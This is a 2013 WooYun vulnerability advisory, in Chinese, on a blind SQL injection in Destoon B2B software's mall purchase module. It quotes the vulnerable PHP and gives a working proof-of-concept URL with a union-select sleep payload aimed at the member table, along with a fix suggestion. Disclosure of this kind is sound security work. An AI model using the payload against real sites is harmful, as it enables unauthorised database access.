当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-027958

漏洞标题:Destoon B2B建站软件最新版SQL盲注漏洞

相关厂商:DESTOON

漏洞作者: hawkish001

提交时间:2013-07-25 16:52

修复时间:2013-10-20 16:53

公开时间:2013-10-20 16:53

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-25: 细节已通知厂商并且等待厂商处理中
2013-07-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-09-23: 细节向核心白帽子及相关领域专家公开
2013-10-03: 细节向普通白帽子公开
2013-10-13: 细节向实习白帽子公开
2013-10-20: 细节向公众公开

简要描述:

Destoon B2B建站存在SQL注入漏洞(已经打了20130703补丁)

详细说明:

/module/mall/buy.inc.php 这个文件,除了已经修复了的知道创宇上报的那个注入点,还存在其他注入点。

if($submit) {
require DT_ROOT.'/module/'.$module.'/cart.class.php';
$do = new cart();
$cart = $do->get();
if($post) {
$add = array_map('trim', $add);
$add['address'] = area_pos($add['areaid'], '').$add['address'];
$add = array_map('htmlspecialchars', $add);
$buyer_address = $add['address'];
if(strlen($buyer_address) < 10) message($L['msg_type_address']);
$buyer_postcode = $add['postcode'];
if(strlen($buyer_postcode) < 6) message($L['msg_type_postcode']);
$buyer_name = $add['truename'];
if(strlen($buyer_name) < 2) message($L['msg_type_truename']);
$buyer_mobile = $add['mobile'];
if(strlen($buyer_mobile) < 11) message($L['msg_type_mobile']);
$buyer_phone = $add['telephone'];
$buyer_receive = $add['receive'];
if(strlen($buyer_receive) < 2) message($L['msg_type_express']);
$i = 0;
foreach($post as $k=>$v) {
$t1 = explode('-', $k);
$itemid = $t1[0];
$s1 = $t1[1];
$s2 = $t1[2];
$s3 = $t1[3];
$t = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid");


其中$submit,$post,$add都是外部提交数据。
由于$t = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid");
由于$itemid由$post数组的key赋值,被输入控制,且SQL语句里面没有单引号包围$itemid,导致绕过GPC防护,可以进行union查询盲注。

漏洞证明:

需要登录,
http://localhost/webapp/destoon/mall/buy.php?add[address]=abcdefghijklm&add[postcode]=abcdefghijklm&add[truename]=abcdefghijklm&add[mobile]=abcdefghijklm&add[telephone]=abcdefghijklm&add[receive]=abcdefghijklm&post[1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,sleep(10) from destoon_member]=b
同时POST提交submit=1
我把执行的SQL语句打印出来了。

destoon.jpg


修复方案:

数据过滤,整型数据请用intval()

版权声明:转载请注明来源 hawkish001@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-10-20 16:53

厂商回复:

最新状态:

2013-08-20:感谢提醒,已经修复,详见:http://bbs.destoon.com/thread-53071-1-1.html